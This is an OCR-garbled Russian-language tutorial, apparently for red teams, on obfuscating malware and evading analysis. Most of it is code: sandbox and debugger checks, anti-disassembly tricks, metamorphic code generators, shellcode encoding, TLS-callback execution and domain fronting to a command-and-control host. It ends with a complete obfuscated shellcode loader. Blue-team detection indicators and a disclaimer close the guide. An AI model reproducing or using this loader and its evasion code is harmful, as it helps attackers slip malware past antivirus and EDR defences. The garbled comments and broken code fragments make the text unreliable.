// TpoBepka 5: Kypcop He gBuraetcsd (HeT nonb3oBatend)

POINT pl, p2;

GetCursorPos(&pl);

Sleep(3000);

GetCursorPos (&p2);

if (pl.x == p2.x & pl.y == p2.y) { return; } // Kypcop He gBuraetcs

// TNpoBepka 6: Mano npoueccoB (sandbox — uuctas cucTtema)

DWORD procs[1024], needed;

EnumProcesses(procs, sizeof(procs), &needed);

if (needed / sizeof(DWORD) < 50) { return; } // < 50 npoueccos

// TNpoBepka 7: Username / hostname
char user[256];



DWORD userLen = sizeof(user);

GetUserNameA(user, &userlLen);

DWORD userHash = ApiHash(user);

// WN3BecTHble sandbox usernames:

// "sandbox", "malware", "virus", "sample", "test"

if (userHash == HASH SANDBOX || userHash == HASH MALWARE) { return; }

// NpoBepka 8: MAC address vendor (VMware, VirtualBox, Hyper-V)
// VMware: 00:0C:29, 00:50:56

// VirtualBox: 08:00:27

// Hyper-V: 00:15:5D

8.3 Anti-Disassembly

; Anti-disassembly tricks: nomawTt nuHeWHbIn Ou3accembnep

; Trick 1: Fake conditional jump
; jz target m jnz target nompam = unconditional jump
; Ho gu3accembnep gyMaeT 4TOo nocse jnz ecTb ewé kopg

Xor eax, eax v ZF =1
jz real code ; jump taken
jnz real code ; never reached, Ho gu3acceMbnep napcut
panbue
db OxES8 ; Hayano CALL MHCTpyKUMWM — NoOMaeT NnapCUHr
; Ou3acceMbnep nbiTaeTcs OeKoAuMpoBaTb Kak
call
; M TepAeT CUHXPOHU3aLUK
real code:

; HacToAWWMA KOO 34ech
mov rax, rcx

; Trick 2: Opaque predicate + junk bytes
mov eax, 1
test eax, eax
jnz skip junk ; BCerpa npoiraert
db OxFF, 0x25 ; jmp [rip+...] — nomaet pu3acceMbnep
db 0x00, 0x00, 0x00, 0x00



skip_ junk:
; peanbHb Kopf

; Trick 3: Self-modifying code
lea rax, [rip + patch target]
mov byte ptr [rax], 0x90 ; natymMm cnepywownn 6ant Ha NOP

patch target:
db 0OxCC ; INT3 (breakpoint) — 3amMeHuTCca Ha NOP
; KOO npoponxaeTcs

YacTts 4: JKCcIepTHEHIM YpoBeHb (Expert)

9. MetaMOp(dHEH KO

9.1 Instruction Substitution

// 3aMeHa WHCTPYKUWWA SKBMBAJIEHTHbLIMU
// Kaxgbin 6ung Mcnonb3yeT pa3Hble MHCTPYKUMW OIS OQHOW onepauuu

// mov eax, 0 - 6 BapuaHTOB:

// 1. xor eax, eax

// 2. sub eax, eax

// 3. and eax, 0

// 4. mov eax, O

// 5. push 0; pop eax
// 6. lea eax, [0]

// add eax, 5 - BapuWaHThbl:

// 1. add eax, 5

// 2. sub eax, -5

// 3. lea eax, [eax + 5]

// 4. 1inc eax; 1nc eax; 1nc eax; 1nc eax; 1nc eax
// 5. add eax, 3; add eax, 2



typedef struct {
BYTE* bytes;
int length;
} INSTRUCTION;

// TeHepaTop: ONa Kaxgon 6a30BOW onepauumn cryvyanHo BblbMpaeT SKBUBANEHT
INSTRUCTION GenerateMovZero(int reg) {
INSTRUCTION inst;
switch (GetRandomInt() % 4) {
case 0: // xor reg, reg

inst.bytes = "\x31\xC0"; // xor eax, eax (pns eax)
inst.length = 2;
break;

case 1: // sub reg, reg
inst.bytes = "\x29\xC0"; // sub eax, eax
inst.length = 2;
break;

case 2: // and reg, O
inst.bytes = "\x83\xE0\x00"; // and eax, 0
inst.length = 3;
break;

case 3: // push 0; pop reg
inst.bytes = "\x6A\x00\x58"; // push 0; pop eax
inst.length = 3;
break;

}

return inst;

}
9.2 Register Reassignment

// Kaxgbin 6ung Mcnonb3yeT pa3Hble PerucTpbl Ond Tex Xe onepauuu
// OpuruHan: mov eax, [addr]; xor eax, key; mov [addr], eax

// BapuaHT 1l: mov ecx, [addr]; xor ecx, key; mov [addr], ecx
// BapuaHT 2: mov edx, [addr]; xor edx, key; mov [addr], edx

typedef enum { REG EAX=0, REG ECX=1, REG EDX=2, REG EBX=3,
REG ESI=6, REG EDI=7 } REG;



//

FeHepauuna XOR-pekopgepa C ciyyYauHbiM BbIGOpOM perucTpos

void GenerateDecoder(PBYTE output, PBYTE payload, DWORD payloadSize,

019

}
9.3

//
//

//
//
//
//
//
//

//
//
//
//
//

/] ...

PBYTE key, DWORD keySize) {
(REG) (GetRandomInt() % 4); // cly4anHbn peructp

REG counterReg

CYETYMKa

REG pointerReg = (REG)((counterReg + 1) % 4); // pna ykasaTens
REG keyReg = (REG) ((counterReg + 2) % 4); // ona knw4a
REG tempReg = (REG) ((counterReg + 3) % 4); // BpPEMEHHbIN
int offset = 0;

// mov counterReg, payloadSize (c nopCcTaHOBKOW perucrpa)
output[offset++] = OxB8 + counterReg; // mov reg, imm32
*(DWORD*) (output + offset) = payloadSize;

offset += 4;

// ... OCTanbHble UHCTPYKLMU C MNOQCTABJSIEHHbIMA pPerucTpamu

// Kaxgbim 6bung — gpyrue perucTtpel — gpyron 6aMToBbIM NaTTepH
Code Transposition
NMepecTaHOBKA HE3aBUCKMbIX WHCTPYKLMWWA

MopAQoOK MeHAeTCda, pe3ynbTaT TOT Xe

OpuruvHan:
1. mov eax, [varl]
2. mov ebx, [var2]
3. mov ecx, [var3]
4. add eax, ebx
5. xor eax, ecx
WHCcTpykumm 1, 2, 3 He3aBUCWUMbl — MOXHO MepecTaBNAaATb!
BapuaHnt A: 1, 2, 3, 4, 5
Bapuaut B: 2, 3, 1, 4, 5
Bapuaut C: 3, 1, 2, 4, 5
Bapuant D: 2, 1, 3, 4, 5
6 nepecTaHOBOK AN 3 HE3aBUCKMbIX UHCTPYKLMUWA



// Dependency graph:

// 1 - 4 (eax)

// 2 - 4 (ebx)

// 3 - 5 (ecx)

// 4 - 5 (eax)

// WHCTpyKumm 6e3 3aBucuMmocten — cBobOOOHO nepecTaBnanTCS

typedef struct {
BYTE code[16];
int length;
int reads[4]; // KaKune perucTpbl YyuTaeT
int writes[4]; // Kakue perucTpbl nuuwet
} INSTRUCTION META;

void ShuffleIndependent (INSTRUCTION META* instructions, int count) {
for (int 1 = 0; 1 < count; i++) {
for (int j =1 + 1; j < count; j++) {
if (!'HasDependency(&instructions[i], &instructions[j])) {
// MOXHO nepecTaBuTb C BEPOATHOCTbKW 50%
if (GetRandomInt() % 2) {
INSTRUCTION META tmp = instructions[i];
instructions[i] = instructions[j];
instructions|[j] tmp;

10. O6dyckamms qaHHBX

10.1 Split variables — pa3menenue mepeMeHHBIX

// BMecTo ogHOW NepeMeHHOW — HEeCKOSbKO, 06beauMHSEMbIX NPU MCNOSb30BaAHUM

// OpuruHan: DWORD key = OxDEADBEEF;



// 006¢pycLUMPOBAHHbIN :

DWORD key partl = OxDEOOOQOO;
DWORD key part2 = O0xQ0ADOOOO;
DWORD key part3 = OxOQ000BEOO;
DWORD key part4 = OxOQ00000EF;

// BoccTaHoBneHue:
DWORD key = key partl | key part2 | key part3 | key part4;

// Wnn 4depe3 apupMeTuky:

DWORD key a = 0x12345678;

DWORD key b = 0xCC997977; // key a ~ OxDEADBEEF
// BoccTaHoBNeHue:

DWORD key = key a ™ key b; // = OxDEADBEEF

10.2 Array encoding — KogupoBaHHE MaCCHBOB

// Wlennkop XpaHUTCA He KakK MaccuB BauT, a Kak ¢popmynbl

// Bmecto: BYTE sc[] = { OxFC, 0x48, 0x83, OxE4, OxFO, ... };
// Kaxpbin 6anT BblMCIAETCS:

BYTE DecodeShellcodeByte(int index) {
// NonuHoM: f(x) = ax™3 + bx™2 + cx + d (mod 256)
// Koadpouumentol nogbupawtca 4tobel f(0)=0xFC, f(1)=0x48,
int a = 0x13, b = 0x37, c = 0x42, d = OxFC;
return (BYTE) ((a * index * index * index +
b * index * index +
c * index + d) & OxFF);
// He paboTaeT Oond NpouM3BONbHLIX OaHHbIX — HyXHa lookup table

}

// TlpakKTu4yHee: MacCCUB penbT

// BMecTo abCONTHLIX 3HAYeHUW — pa3Huua Mexgy cocegHumm BanmTamu
BYTE scDeltas[] = { OxFC, 0x4C, 0x3B, 0x61, O0x0C, ... };

// BoccTaHoBneHue:

BYTE sc[256];

sc[0] = scDeltas[0];

for (int 1 = 1; 1 < scSize; i++) {



sc[i] = sc[i-1] + scDeltas[i];

}

// Wnn: 4YéTHble/He4YéTHble BanTbl B pa3HbIX MacCuBax

BYTE scEven[] = { OxFC, 0x83, OxFO, ... }; // 6awutel 0, 2, 4,
BYTE scOdd[] { 0x48, OxE4, 0x31, ... }; // 6autw 1, 3, 5,
// BoccTaHoBNneHne: merge

10.3 Encrypted stack — mmudpoBanue creka

// Sensitive paHHble Ha CTeKe WUPPYITCA KOrpa He WUCMoSb3ywTCH
// 3awmTta oT memory dump u cold boot attacks

void SecureFunction() {
BYTE key[32] = { /* AES key */ };

BYTE iv[1l6] = { /* AES IV */ };

// Wcnonb3oBanu Knwuu. . .

AesDecrypt(payload, payloadSize, key, iv, &decrypted, &declLen);

// HeMepneHHo 3a4uiwaem!
SecureZeroMemory (key, sizeof(key));
SecureZeroMemory(iv, sizeof(iv));

// Wnu nydwe: wudpyeM KouM OPYrvM KJIlOYOM, XPaHUM 3awuppoBaHHbIMU
// PacuundpoBbiBaeM TONbKO Ha Bpems Bbi3oBa AesDecrypt

// TpoaBUHYTbIN BapuaHT: Becb stack frame XOR'utcs
BYTE stackKey = (BYTE) (GetTickCount() & OXFF);
PBYTE stackStart = (PBYTE) AddressOfReturnAddress() - 256;
for (int 1 = 0; 1 < 256; 1i++) {

stackStart[i] "= stackKey;
¥
// ... sleep / ppyrue onepauuun ...
// PacuudpoBaTb nepep return
for (int 1 = 0; 1 < 256; i++) {

stackStart[i] "= stackKey;
¥



11. O6¢yckanus Ha ypoBHe PE

11.1 Section name randomization

// CTaHpapTHble uMeHa cekuun (.text, .data, .rdata) — fingerprint
// MeHfieM Ha cnydYauHble UNM UMUTUPYEM OPYron KOMNunaTop

// B nuHkepe wunu post-processing:

// .text - .code (BbIrnapguT Kak MASM)
// .data - .bss (Boirnagmnt kak GCC)
// .rdata - .rodata (Linux-cTunb)

// .rsrc - .reloc (nyTaHuua)

// Wnn cnyyauHble uMeHa:

// .text - .aXk9

// .data - .mQ2p

// Cexkuun po 8 cumsonoB B PE

// Post-processing ckpunr:
// python pe rename sections.py payload.exe

11.2 Entry point obfuscation

// Hactoswmn entry point — He Ha4vano main()
// BcTaBnaeMm "npenwguw" — junk kop nepep peanbHeiM entry

// TLS Callback: sbinonHsetca 00 entry point!
// EDR MoxeT He otcnexumBaTb TLS callbacks

#pragma comment(linker, "/INCLUDE: tls used")
void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved)

{
if (Reason == DLL PROCESS ATTACH) {



// 3T0T Kop BbinosiHaetca A0 main()!

// Anti-debug npoBepku 3pechb

if (IsDebuggerPresent()) {
ExitProcess(0);

}

// Wnn paxe Becb payload 3pechb
DecryptAndExecutePayload();
ExitProcess(0);

// main() HMKOrpga He BbI3OBETCH

}

// Peructpaunsa TLS callback

#pragma data seg(".CRT$XLB")

PIMAGE TLS CALLBACK pTlsCallbacks[] = { TlsCallback, NULL };
#pragma data seg()

// main() — ¢enkoBas Touyka Bxoga C 6e306uaHbBIM KOOOM
int main() {

printf("Hello, World!\n");

return 0;

}
11.3 Import table obfuscation

// Delayed imports: ¢yHKUMM pe30SBATCA HE MNpU 3arpyske, a npu NepsoMm
Bbl30BE
// IAT npu cTaTuyeckoM aHanu3se — nycTad

// #pragma comment(lib, "kernel32.1lib") — o6bl4HbIN import
// BmecTo 3TOro:

#pragma comment(lib, "delayimp.lib")

#pragma comment(linker, "/DELAYLOAD:kernel32.dll")

// Wnn nonHOCTbi0 py4yHon import:
// 1. Nycton IAT (HeT imports kpome ntdll)
// 2. Bce ¢yHKumMmn pesonesatca 4vepe3 PEB walking



// 3. CTatnyeckun aHanu3 BUAUT "4uCTbIN" OUHAPHUK

12. O6dyckalsa ceTeBoro B3auMOAEUCTBUA

12.1 Domain fronting wepe3 WinHTTP

// C2 KOMMyHMKaUMA MacKupyeTcs non NeruTuMHbin Tpaduk
// TLS SNI = nerutuMHbin gomeH, Host header = C2

HINTERNET hSession = WinHttpOpen(
OBF(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"),
WINHTTP_ ACCESS TYPE DEFAULT PROXY,
WINHTTP_NO PROXY NAME, WINHTTP NO PROXY BYPASS, 0);

// MNopknwodvyaemca K CDN (flerMTuUMHbIA [OMEH)

HINTERNET hConnect = WinHttpConnect(hSession,
OBF(L"cdn.microsoft.com"), // SNI = microsoft.com
INTERNET DEFAULT HTTPS PORT, 0);

HINTERNET hRequest = WinHttpOpenRequest(hConnect,
L"GET", OBF(L"/api/update/check"),
NULL, WINHTTP NO REFERER, WINHTTP DEFAULT ACCEPT TYPES,
WINHTTP FLAG SECURE);

// NooMeHseM Host header Ha C2

WinHttpAddRequestHeaders (hRequest,
OBF(L"Host: evil-c2.azureedge.net\r\n"), // peanbHbin C2
-1, WINHTTP ADDREQ FLAG REPLACE);

WinHttpSendRequest (hRequest, NULL, O, NULL, O, 0, 0);
// CeTeBon TpaduK BLIrNAAMT KaK 3anpoc K microsoft.com

// Firewall/proxy sugnt TLS Kk cdn.microsoft.com — nermtumHo
// CDN MapuwpyTtmusupyet no Host header k (2



12.2 O6dyckamus C2 npoToKOja

// C2 paHHble MackupywTcsa nopg o6biyHble HTTP pgaHHble
// KoMaHpbl kopgupywTca B cookies, headers, URL parameters

// MackupoBka nop API-3anpoc:
char url[512];
sprintf(url, "/api/v2/users/%s/preferences?lang=%s&theme=%s",

EncodeCommand(cmd, partl), // KomaHpa B "user ID"
EncodeData(data, part2), // naHHble B "lang"
EncodeChecksum(checksum)); // checksum B "theme"

// 0tBeT ot C2 Mackupyetca nop JSON:
// {"status":"ok","user":{"id":"base64 encoded payload", "prefs":...}}

// MackupoBka nog u3obpaxeHue:
// Beacon data npsayetca B EXIF metadata PNG/JPEG
// Wnn B LSB (Least Significant Bit) nwukcenen — crteraHorpadus

13. Compile-time o6¢dyckaims (mpogBuHyTaA)

13.1 Constexpr mudposanue (C++17/20)

// BCé& wudpoBaHMe NpoucxoaouT MpU KOMMUASLUK
// B BuUHapHUKe — TONbKO WUHPOTEKCT

template<size t N>

struct EncryptedBuffer {
uint8 t datalN];
uint8 t key[16];

constexpr EncryptedBuffer(const uint8 t (&input)[N],
const uint8 t (&k)[16]) : data{}, key{}

for (size t 1 = 0; i < 16; i++) key[i]

= k[1i];
for (size t i = 0; i < N; i++) { data[i] =

input[i] ©~ k[1 %



16]; // OononuutenbHasa TpaHcbopmauua data[i] = ((data[i] >> 3) |
(data[i] << 5));
data[i] += (uint8 t)(i * 7 + 13);
}
}

void decrypt(uint8 t* output) const {
for (size t 1 =0; 1 < N; i++) {
output[i] datalil];
output[i] -= (uint8 t)(i * 7 + 13);
output[i] ((output[i] << 3) | (output[i] >> 5));
output[i] "= key[i % 16];

};

// Wcnonb3oBaHue:

constexpr uint8 t rawShellcode[] = { OxFC, 0x48, 0x83, /* ... */ };

constexpr uint8 t encKey[] = { OxAA,0xBB,0xCC,0xDD,0OxEE, OxFF,
0x11,0x22,0x33,0x44,0x55,0x66,
Ox77,0x88,0x99,0x00 };

// Wnppyetca npu KOMOUNALNN:
constexpr auto encrypted = EncryptedBuffer(rawShellcode, encKey);

// PacundpoBKa B paHTauMe:
uint8 t shellcode[sizeof(rawShellcode)];
encrypted.decrypt(shellcode);

13.2 Compile-time API hash generation

// Xaum WinAPI ¢yHKUMWA BLIMMCASAITCA MPU KOMMNUASLUK
// B OMHapHWKe — TONbKO 4YMCNa, HET HM CTPOK, HU BbI30BOB hash-dyHKuUuM

constexpr DWORD CompileTimeHash(const char* str, DWORD seed =
OxCOFFEE) {

DWORD hash = seed;

while (*str) {



hash = ((hash >> 5) | (hash << 27)) + *str++;
hash ~= seed;
¥

return hash;

}

// Makpoc pgna compile-time BbluMcneHus

#define CT HASH(str) ([1() { \
constexpr DWORD h = CompileTimeHash(str); \
return h; \

}(0))

// Wcnonb3oBaHue:

FARPROC fn = Resolve(CT HASH("kernel32.dll"),

CT HASH("VirtualAlloc"));

// KoMnunaTtop nopgcTaBnfeT roToBble 4yucna

// B 6uHapHuke: Resolve(0x1A2B3C4D, Ox5E6F7A8B)

// Ctpok "kernel32.dll" u "VirtualAlloc" HeT Hurpe!

14. ITonuni npumep: 06dycrupoBarnuii shellcode loader

// Bcé BMecTe: API hashing + XOR encryption + anti-debug +
// control flow flattening + junk code + dynamic resolution

// ============ KoHpurypauusa (MeHAaTb Npu KaxgoMm obunpe) ==

#define HASH SEED OxBADCOFFE

#define XOR KEY { Ox4A,0x7B,0x1C,0xDE,0x91,0x33,0xF0,0xA2, \
Ox5E,0xC7,0x88,0x14,0x6D,0xB9,0x02,0xE5 }

#define H KERNEL32 OxA1B2C3D4

#define H NTDLL OXE5F6A7B8

#define H VirtualAlloc 0x11223344
#define H VirtualProtect 0x55667788
#define H RtlMoveMemory Ox99AABBCC

// ============ 3awuQpoBaHHbIN WeNnKog ==
unsigned char encPayload[] = {



// ... AES/XOR 3awv¢poBaHHbIM wennkop ...
0x8B, Ox3F, OxAl, 0x55, // ...

};

// ============ Hash ¢yHKuuA =
DWORD H(const char* s) {
DWORD h = HASH SEED;
while (*s) { h = ((h >>5) | (h << 27)) + *s++; ~= HASH SEED; }
return h; } // = PEB Walker = HMODULE
GetMod (DWORD hash) { PPEB p = (PPEB) readgsqword(0x60); PLIST ENTRY
head = &p->Ldr->InMemoryOrderModulelList;
PLIST ENTRY e = head->Flink;
while (e !'= head) {
PLDR DATA TABLE ENTRY m = CONTAINING RECORD (
e, LDR DATA TABLE ENTRY, InMemoryOrderLinks);
// Hash unicode name
DWORD nameHash = HASH SEED;
for (int 1 = 0; 1 < m->BaseDllName.Length / 2; i++) {
char ¢ = (char)m->BaseDl1lName.Buffer[i];
if (¢ >= 'A' & ¢ <= 'Z') ¢ += 32; // tolower nameHash =
((nameHash >> 5) | (nameHash << 27)) + c; nameHash "= HASH SEED; } if
(nameHash == hash) return (HMODULE)m->Dl1Base;
e = e->Flink;

}
return NULL;

// ============ Export Walker =
FARPROC GetFn(HMODULE m, DWORD hash) {
PIMAGE DOS HEADER dos = (PIMAGE DOS HEADER)m;
PIMAGE NT HEADERS nt = (PIMAGE NT HEADERS) ((PBYTE)m +
dos->e lfanew);
PIMAGE EXPORT DIRECTORY exp = (PIMAGE EXPORT DIRECTORY) (
(PBYTE)m +
nt->0ptionalHeader.DataDirectory[Q].VirtualAddress);
PDWORD names = (PDWORD) ((PBYTE)m + exp->AddressOfNames);
PDWORD funcs = (PDWORD) ((PBYTE)m + exp->AddressOfFunctions);
PWORD ords = (PWORD) ((PBYTE)m + exp->AddressOfNameOrdinals);



for (DWORD i = 0; i < exp->NumberOfNames; i++) {
if (H((char*) ((PBYTE)m + names[i])) == hash)
return (FARPROC) ((PBYTE)m + funcs[ords[i]]);

}
return NULL;

// ============ Main: Control Flow Flattened =
void Run() {

// Anti-debug

volatile PPEB peb = (PPEB) readgsqword(0x60);

if (peb->BeingDebugged) return;

// Anti-sandbox

LARGE INTEGER t1, t2, freq;

QueryPerformanceFrequency(&freq);

QueryPerformanceCounter(&tl);

volatile int x = 0;

for (volatile int i = 0; 1 < 1000000; i++) X += 1;
QueryPerformanceCounter(&t2); if ((t2.QuadPart - tl.QuadPart) >
freq.QuadPart) return; // too slow = emulation

// Resolve APIs
typedef LPVOID (WINAPI *tVA) (LPVOID, SIZE T, DWORD, DWORD);
typedef BOOL (WINAPI *tVP)(LPVOID, SIZE T, DWORD, PDWORD);

tVA pVA = (tVA)GetFn(GetMod(H KERNEL32), H VirtualAlloc);
tVP pVP = (tVP)GetFn(GetMod(H KERNEL32), H VirtualProtect);
if (!'pVA || 'pVP) return;

// Decrypt payload
BYTE key[] = XOR_KEY;
SIZE T scSize = sizeof(encPayload);
PBYTE sc = (PBYTE)HeapAlloc(GetProcessHeap(), 0, scSize);
for (SIZE T i = 0; 1 < scSize; i++) {
sc[i] = encPayload[i] ™ key[i % sizeof(key)];

}



// Allocate RW, copy, change to RX

PVOID mem = pVA(NULL, scSize, MEM COMMIT | MEM RESERVE,
PAGE READWRITE);

for (SIZE T i =0; i < scSize; i++) ((PBYTE)mem)[i] = sc[il; //
manual copy

SecureZeroMemory(sc, scSize);

HeapFree(GetProcessHeap(), 0, sc);

DWORD old;
pVP(mem, scSize, PAGE EXECUTE READ, &old);

// Execute
((void(*)())mem)();
}
int main() {
Run();
return 0;

15. Pekomenpamuu

IIna Red Team — geknuct 06¢dycKanuu

YpoBeHb TexHHKa Yrto 00xomuT
Basic XOR cTpok + stack strings strings, YARA 1o cTpokam
Basic Dynamic API resolution [IAT analysis

Medium API Hashing + PEB walking GetProcAddress hooks, IAT
Medium AES/RC4 mmdppoBanue payload CTaTudeckre CUTHATYPH IIEJIKOAA
Medium Anti-debug + Anti-sandbox Sandbox ananus, oTnagka
Advanced Control flow flattening ApTomaTtuueckuu aHanu3 CFG
Advanced Function pointer obfuscation =~ Memory dump analysis

Advanced Compile-time encryption CraTtuyeckuy aHanu3 .rdata
Expert = Metamorphic code BauToBele curHatypsl, ML patterns



YpoBeHb TexHHKA YT0 00XOmUT
Expert  Anti-disassembly IDA/Ghidra aBTO@HanMM3
Expert  TLS Callbacks Entry point monitoring

IIns Blue Team — 49TO ETEKTUTDH

» DHTponus ceKuui — .text/.data c suTponmer > 7.0 = 3ammdppoBaHHLM payload

» JAT aHOManmuu — OuHapHUK 0e3 UMIOPTOB UK ¢ TONbKO LoadLibrary/GetProcAddress

» TLS callbacks — nanuuue TLS Directory B PE = nomo3putenbHo mis nmpoctoro EXE

 RWX memory — VirtualAlloc/VirtualProtect c PAGE EXECUTE READWRITE

» PEB access patterns — utenue PEB->Ldr uepe3 GS:[0x60] BHe cTanmapTHBIX API

 Anti-debug calls — IsDebuggerPresent,
NtQueryInformationProcess(ProcessDebugPort)

 Timing checks — QueryPerformanceCounter ¢ nocnenyiomuM cpaBHEHIEM

 SystemFunction032/033 — RC4 gepe3 undocumented API = crypto without imports

IInga Purple Team

» Cobepute Habop 00¢ycCIIMPOBAHHLIX Samples ¢ KaxXaoi TEXHUKOU

e [IpoTecTupyiite Bait AV/EDR nmpoTuB KaxKmou 10 OTAEIbHOCTA U B KOMOMHAIIUY
o Hanummute YARA-mipaBuna ans geTekta compile-time obfuscation patterns
 TIpoBepsTe: merektut nu Baml EDR PEB walking? API hashing? TLS callbacks?

3axkinoyeHue

O6dyckanust — 3To cinor. Onua XOR cTpok He cnacét. Ho kombunanus API hashing +
compile-time encryption + control flow flattening + anti-analysis + metamorphic code
co3pmaéT payload, KOTOpPHIM KpaiiHe CII0KHO aHaIM3UpPOBaTh KaK aBTOMaTU4YECKHU, TaK U
BPYYHYIO.

KitoueBo¥ TpUHIUT: KaXKIEIH OHIL MOJKeH OHTh YHHKANLHEIM. MensiiTe hash seed, XOR
KJIIOYM, PETUCTPHI, IOPAAOK UHCTPYKLKH, junk code. OOuH U TOT XKe source code — THICIYU
Pa3HBIX OMHAPHUKOB.

[7s1 3amMTHUKOB: (HOKyCUPYHUTEeCh Ha IIOBEIEHHH, a He Ha curHaTypax. O0dycIiupoBaHHbIH
KOZ BCE pPaBHO OOJIKEH BHIENIUTH TaMATh, 3alIACATh IIEJIKOM U BHIIOJIHUTD €70 — 3TOT
TIOBeIeHYeCKUM aTTepH 00QyCcKalus CKPHITh He MOXKET.



Ilucknernmep: Mareprai IpengocTaBiaeH HCK/IIOYHTEIbHO B 00pa30BaTe/IbHAIX [E/IAX /IS
crieqHajlCTOB [0 HHPOPMAIHOHHOH 0e301aCHOCTH. HCIoIp3yHTe M0/TyYeHHbIe 3HAHH A

TOJIPKO B paMKaX aBTOPH30BaHHOIO TECTHPOBAHHS Ha MPOHHKHOBEHHE H 3aII[HTEI
HHQPAaCTPYKTYPEL



